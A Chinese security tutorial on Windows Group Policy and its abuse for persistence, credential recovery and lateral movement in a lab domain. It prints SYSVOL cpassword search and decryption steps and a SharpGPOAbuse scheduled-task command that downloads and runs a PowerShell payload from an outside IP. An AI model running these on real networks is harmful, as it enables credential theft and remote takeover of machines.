组策略(GPO)利用与横向移动
2021-12-21 10:47:11 Author: www.freebuf.com(查看原文) 阅读量:23 收藏

组策略介绍

组策略(英语:Group Policy)是微软Windows NT家族操作系统的一个特性,它可以控制用户帐户和计算机帐户的工作环境。组策略提供了操作系统、应用程序和活动目录中用户设置的集中化管理和配置。组策略的其中一个版本名为本地组策略(缩写“LGPO”或“LocalGPO”),这可以在独立且非域的计算机上管理组策略对象。

通过使用组策略,你可以设置策略设置一次,然后将该设置复制到多台计算机上。例如,你可以在链接到域的 GPO 中设置多个 Internet Explorer11 安全设置,然后将所有这些设置应用到域中的每台计算机。

组策略分类

本地组策略

本地组策略(Local Group Policy,缩写LGP或LocalGPO)是组策略的基础版本,它面向独立且非域的计算机。至少Windows XP家庭版中它就已经存在,并且可以应用到域计算机。在Windows Vista以前,LGP可以强制施行组策略对象到单台本地计算机,但不能将策略应用到用户或组。从Windows Vista开始,LGP允许本地组策略管理单个用户和组,并允许使用“GPO Packs”在独立计算机之间备份、导入和导出组策略——组策略容器包含导入策略到目标计算机的所需文件。

开始->运行->键入"gpedit.msc"->本地组策略编辑器->window设置(system)->脚本->启动->属性

显示文件:

C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup

1640054435_61c13ea3a2d43a9c62682.png!small

把我们的后门程序复制到这个路径,然后这个脚本开机就会自动加载执行了

域组策略

当机器安装了域环境的时候,系统管理工具会多出一个功能(组策略管理),通过它,域管理员能够很方便统一地对域内的机器和用户进行统一管理。

域管理员经常会面对一个这样的问题,域成员机子的默认本地管理员密码过于简单,想进行批量修改的时候,这个时候就可以利用组策略来进行任务的批量下发。

通过在域中下发脚本来执行

在组策略首选项GPP中进行设置

本地管理员密码解决方案:LAPS(不细说这个内容,这是解决这个问题很好的方案)

这里需要了解下AD域中两个默认的共享文件夹:SYSVOLNETLOGON

1640054444_61c13eacdff44a4f2e7d4.jpg!small

NETLOGON目录

挂载点:SYSVOL\domain\SCRIPTS主要存放的是一些脚本信息,是AD活动目录安装时候自动创建的,是在sysvol下面的一个子目录文件夹

SYSVOL目录

SYSVOL目录是AD域中的一个共享文件夹,该文件夹在AD活动目录安装时候被创建。通常用来存放组策略数据 和 一些脚本 配置文件,这些策略和脚本将用于传递给域成员机器。

此外,域控机器之间因为要自动同步域数据,SYSVOL文档允许该域内的所有DC机之间进行复制,并且所有的AD用户都可以访问它

在域中,用户登录(计算机)时,会首先在SYSVOL文件查找GPO和启动脚本。同时,为了保证系统的正常运行,必须为SYSVOL保留足够的空间缓存,而且不能随意删除、改动该文件夹,要不然会出现一些组策略无法启用等报错信息

该目录由于针对的是域内所有机器和用户,所以域内中的合法用户均可以访问和执行该目录的文件。(普通的域用户也可以)

1640054453_61c13eb5e8e4e3e1a4e64.png!small

1640054461_61c13ebd9d57b0fc41709.png!small

如果更改权限,这个地方会显示拒绝访问

* 组策略链接

Default Domain Policy为例,在右边的作用域里面,可以看到它链接到demo.com整个域,也就是说在demo.com域内的所有计算机,用户都会受到这条组策略的影响。链接的位置可以是站点、域以及OU。

1640054470_61c13ec6165c5e76113c9.png!small

比如说xsf这条组策略。它就链接到xs这个OU。加入xs这个OU的所有计算机以及用户会受到影响。

1640054479_61c13ecf658c806f7312d.png!small

* 组策略内容

右键组策略,选择保存报告,可以将组策略的内容导出为htlm。

可以看到它配置的一些内容,设置密码最长期限为42天,最短密码长度为7个字符等。

1640054499_61c13ee3ab20a0e76db02.png!small

如果想配置这条组策略的内容,在组策略条目上右键编辑,打开组策略编辑器。可以看到左边分为计算机配置以及用户配置。在里面的配置分别作用于计算机和用户。1640054519_61c13ef7356e6502e7a1a.jpg!small

在配置底下又分为策略以及首选项。首选项是Windows Server 2008发布后用来对GPO中的组策略提供额外的功能。策略和首选项的不同之处就在于强制性。策略是受管理的、强制实施的。而组策略首选项则是不受管理的、非强制性的。

对于很多系统设置来说,既可以通过策略设置来实现,也可以通过策略首选项来实现,二者有相当一部分的重叠。

* 组策略更新

默认情况下,客户端更新组策略的方式主要有

  1. 后台轮询检查sysvol里的GPT.ini,如果版本高于本地保存的组策略版本,客户端将会更新本地的组策略。轮询的时间是,默认情况下,计算机组策略会在后台每隔90分钟更新一次,并将时间作0到30分钟的随机调整。域控制器上的组策略会每隔5分钟更新一次。

  2. 用户开机登录时,会检查sysvol里的GPT.ini,如果高于本地保存的组策略版本,将会更新本地的组策略。

  3. 客户端强制更新,执行gpupdate /force

域控强制客户端更新(不会比较域共享目录中组策略的版本),执行Invoke-GPUpdate -Computer "TESTwin10" -Target "User"(2008 R2默认不支持该命令,2012支持)

组策略应用顺序:

应用本地组策略 → 如果有站点组策略则应用 → 应用域策略 → 应用OU上的策略。

如果同一个OU上链接了多个GPO,则按照链接顺序从高到低逐个应用。如果多个组策略设置冲突,则后应用的组策略覆盖先应用的组策略。

* 组策略存储

每条组策略可以看做是存储在域级别的一个虚拟对象,叫做GPO。每个GPO有唯一标志,用来标识每条组策略(或者说每个GPO),GPO在域内存储分为两个部分:GPC、GPT。

1640054530_61c13f02c2408e1a8d9e0.png!small

GPC位于LDAP中,CN=Policies,CN=System,<BaseDn>下,每个条目对应一个GPC。包含了GPO属性,例如版本信息,GPO状态和其他组件设置。

1640054573_61c13f2db4549e6bfbd94.png!small

GPT位于\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies中。域内任何人都可以读取\\<DOMAIN>\SYSVOL\<DOMAIN>\这个默认的共享路径下的内容。

GPC里面的gPCFileSysPath属性链接到GPT里面。GPT是一个文件系统文件夹,其中包含由.adm文件,安全设置,脚本文件以及有关可用于安装的应用程序的信息指定的策略数据。

在域、站点、OU上的gPLink属性来标识链接到这里的组策略,gPOptions属性来标识组策略是否会继承。

1640054594_61c13f422c40f7185c30c.png!small

组策略利用

GPO常用命令

#加载GroupPolicy模块 (win7没有,win10有)Import-Module GroupPolicy –verbose#获得所有GPO的内容Get-GPO -All#将所有GPO导出为一个HTML报告Get-GPOReport -All -ReportType html -Path C:\GposReport\GposReport.html#将每个GPO单独导出一个HTML报告Get-GPO -All | %{Get-GPOReport -name $_.displayname -ReportType html -path ("c:\GPOReports\"+$_.displayname+".html")}#查看指定GPO的权限设置Get-GPPermission -Name "客服部组策略" -All#备份指定GPOBackup-Gpo -Name TestGPO1 -Path C:\GpoBackups#备份所有GPOBackup-Gpo -All -Path "c:\GpoBackups"#还原指定GPORestore-GPO -Name TestGPO1 -Path C:\GpoBackups#还原所有GPORestore-GPO -All -Path "c:\GpoBackups"

利用SYSVOL还原组策略中的密码

如果在组策略中输入了密码,如以用户身份运行程序、修改域内主机内置administrator用户密码等操作。

1640054643_61c13f7355994804e2191.png!small

然后可以在GPT中看到加密后的密码(AES-256)

C:\Windows\SYSVOL\domain\Policies\{0EA52652-3A0D-4135-8BD7-92EFF59CB765}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml

1640054653_61c13f7d8252a94e4bb89.png!small

可以通过以下命令来快速搜索(网上有解密方法)

findstr /S cpassword \\192.168.40.154\sysvol\*.xmfor /r \\192.168.40.154/sysvol %i in (*.xml) do @echo %i

1640054673_61c13f9148028651cd43e.png!small

得到cpassword后可以通过kali中的gpp-decryp 去解密

1640054685_61c13f9d4bf3a79d30b2a.png!small

利用Get-GPPPassword,自动查询共享文件夹\SYSVOL中的文件,还原出所有明文密码。

1640054693_61c13fa55717c7f03b196.png!small

组策略横向

在拿到域控之后,有时候可能网络ACL到达不了目标电脑,可以通过组策略进行横向。攻击者可以利用组策略来推出恶意软件、创建/修改计划任务、降级凭据保护、向所有计算机添加新的本地帐户被添加到本地管理员组。更改现有的安全策略,启用明文密码提取。

实验环境如下:

域控:AD-2008(192.168.40.154),demo\administrator:vulnstack4.

域机器:win7(192.168.40.157),demo\administrator:vulnstack4.

目前已经拿下域控,域成员机开启了防火墙,并且禁止了445,135等端口的访问,传统的psexec和winrm以及pth等横向移动无法直接拿下成员机

1640054703_61c13faf072ad42a6ba71.jpg!small

计划任务

自Windows Server 2008开始,GPO开始支持计划任务,便于管理域中的计算机和用户。

指定用户配置定时任务

创建GPO

powershell -c Import-Module GroupPolicy;new-gpo -name TestGP02

1640054725_61c13fc5698b33aa4da18.png!small

将GPO链接到域demo.com,需要域管权限。

powershell -c Import-Module GroupPolicy;new-gplink -name TestGP02 -Target "dc=demo,dc=com"

1640054739_61c13fd39193e8c08c54d.png!small

#添加定时任务 --TargetDnsName指定计算机

execute-assembly F:\\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update2" --Author demo\\administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://119.45.175.218/payload.ps1'))\"" --GPOName "TestGP02" --FilterEnabled --TargetDnsName 192.168.40.148

1640054748_61c13fdc9273e2dd8638b.png!small

即时任务会在组策略同步的时候强制执行一次,组策略每90分钟自动同步一次。

在组成员中强制更新组策略,或者默认等待90分钟等待组策略强制更新

gpupdate /force

这时候可以看到域成员机上线

1640054760_61c13fe8ae1bff2f2a536.png!small

删除gpo

powershell -c Import-Module GroupPolicy;Remove-GPO -Name TestGPO2

参考:

https://xz.aliyun.com/t/9511

https://www.anquanke.com/post/id/203151#h3-22


文章来源: https://www.freebuf.com/articles/web/316595.html
如有侵权请联系:admin#unsafe.sh